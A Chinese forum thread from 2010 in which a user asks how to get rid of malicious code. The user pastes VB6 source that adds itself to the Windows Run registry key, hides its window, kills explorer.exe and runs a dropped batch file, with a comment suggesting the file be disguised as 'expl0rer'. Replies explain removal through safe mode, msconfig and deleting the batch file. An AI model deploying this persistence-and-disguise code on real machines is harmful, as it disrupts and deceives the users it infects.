如何破解恶意代码？
本帖最后由 pengguangji 于 2010-03-19 21:37:03 编辑 如何破解恶意代码？
我中招了，救救我吧！
Private Sub Form_Load
dim w
dim x
Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & App.EXEName, App.Path & "" & App.EXEName & ".exe" '导入注册表,实现开机自动运行
Form1.Visible = False
App.Taskvisible = False
Shell "taskkill /f /im explorer.exe ", vbHide '结束explorer.exe进程
Open "c:\windows\$$$.bat" for Append As #1
Print #1 , "@echo off"
Print #1 , "echo 恭喜你中毒"
Print #1 , "echo. & pause"
close #1
x = shell("c:\windows\$$$.bat")
....... '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等
End Sub
[解决办法]
很简单，开机按F8进入安全模式，然后在开始菜单里面点击运行，然后输入“msconfig”，在【启动】选项卡中找到该项，然后禁用该启动项。其实到这一步也就没什么问题了，如果还要做的话，就到c:\windows\目录下把$$$.bat删掉。
[解决办法]
光盘启动，删除掉那个bat。
[解决办法]
WIN+R 运行 explorer.exe
[解决办法]
